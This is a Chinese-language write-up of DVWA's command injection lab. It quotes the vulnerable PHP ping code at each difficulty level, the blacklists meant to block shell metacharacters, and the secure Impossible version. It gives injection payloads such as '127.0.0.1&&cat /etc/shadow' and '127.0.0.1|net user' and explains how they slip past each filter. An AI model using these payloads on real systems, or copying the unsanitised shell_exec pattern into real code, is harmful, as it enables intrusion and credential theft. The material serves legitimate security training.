DVWA_Command Injection 命令注入

LOW:<?ph

if( isset( $_POST[ 'Submit' ]  ) ) {
	// 本来的目的是接收ip地址,我们用来进行命令注入
	$target = $_REQUEST[ 'ip' ];

	// Determine OS and execute the ping command.
     //php_uname()返回跟系统有关的系统,如果参数为s则返回操作系统的名称
     //stristr()是strstr()忽略大小写的版本
     //strstr()的作用:查找字符串的首次出现,即第二个字符串在第一个字符串首次的位置
if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user $html .= "<pre>{$cmd}</pre>"; } ?>

 然后这是非常简单的命令执行漏洞(感觉现实根本不可能有这种东西、、、)

payload:

1、windows下:

127.0.0.1&&net user

可以查看用户,然后可以创建用户,把用户添加到管理员组

2、linux下:

127.0.0.1&&cat /etc/shadow

可以查看隐藏文件

Medium:

 1 <?php
 2 
 3 if( isset( $_POST[ 'Submit' ]  ) ) {
 4     // Get input
 5     $target = $_REQUEST[ 'ip' ];
 6 
 7     // Set blacklist 过滤了危险字符
 8     $substitutions = array(
 9         '&&' => '',
10         ';'  => '',
11     );
12
13     // Remove any of the charactars in the array (blacklist).
14     $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
15 
16     // Determine OS and execute the ping command.
17     if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
18         // Windows
19         $cmd = shell_exec( 'ping  ' . $target );
20     }
21     else {
22         // *nix
23         $cmd = shell_exec( 'ping  -c 4 ' . $target );
24     }
25 
26     // Feedback for the end user
27     $html .= "<pre>{$cmd}</pre>";
28 }
29 
30 ?>

代码的逻辑非常清楚,就是过滤掉了两个&号和分号

函数详解:

  1、str_replace()

    str_replace(find,replace,string)

    find:要被取代的字符串

    replace:取代掉find的字符串

    string:被搜索的字符串

  2、array_keys()

    顾名思义,就是返回数组中所有的键值

先上Payload:

1、127.0.0.1&net user

2、127.0.0.1&;&net user

原理:

1、&没有被过滤,但是无论ping 127.0.0.1成功与否,net user 都会执行

而&&如果ping 127.0.0.1失败了,net user 不会执行

2、&:&中的分号被去掉之后,又变成了&&'

High:

        $target = trim($_REQUEST[ 'ip' ]);

	// Set blacklist
	$substitutions = array(
		'&'  => '',
		';'  => '',
		'| ' => '',
		'-'  => '',
		'$'  => '',
		'('  => '',
		')'  => '',
		'`'  => '',
		'||' => '',
	);

	// Remove any of the charactars in the array (blacklist).
	$target = str_replace( array_keys( $substitutions ), $substitutions, $target );        

只看关键的部分,两端的空白被过滤掉了,很多字符也被过滤掉了

但是!仔细看看,居然没有把'|'过滤掉!因为黑名单中,竖线的后面有空格。

所以payload:

127.0.0.1|net user

而"|"是管道符,将ping 127.0.0.1的输出作为输入给net user,只执行net user的结果

IMPOSSIBLE:

1、加入了反CSRF token检测

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

2、剥离了反斜杠

$target = stripslashes( $target );

3、将输入以ip地址的点分十进制的点来分割成四份,只有分割的结果只是四份且每份都是数字才算合法

// Split the IP into 4 octects
	$octet = explode( ".", $target );

	// Check IF each octet is an integer
	if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
		// If all 4 octets are int's put the IP back together.
		$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

鸣谢:https://www.freebuf.com/articles/web/116714.html

原文地址:https://www.cnblogs.com/huangming-zzz/p/9889903.html